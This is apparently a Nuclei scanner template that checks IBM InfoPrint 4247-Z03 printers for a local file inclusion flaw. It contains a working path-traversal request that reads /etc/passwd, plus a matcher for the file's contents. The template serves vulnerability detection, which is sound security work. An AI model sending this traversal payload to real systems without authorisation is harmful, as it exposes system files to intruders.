id: ibm-infoprint-lfi

info:
  name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Local File Inclusion
  author: harshbothra_
  severity: high
  description: IBM InfoPrint 4247-Z03 Impact Matrix Printer is subject to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/47835
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: matrix,printer,edb,ibm,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/./../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 490a004630440220688c74d528cacff3473f41123f67bebd55b5db1b4145e5ffeb1f245b837c2934022030be39e3f73e72e4e92e792f99a51d3f3aa6610c3716333eabb9452e13aa7886:922c64590222798bb761d5b6d8e72950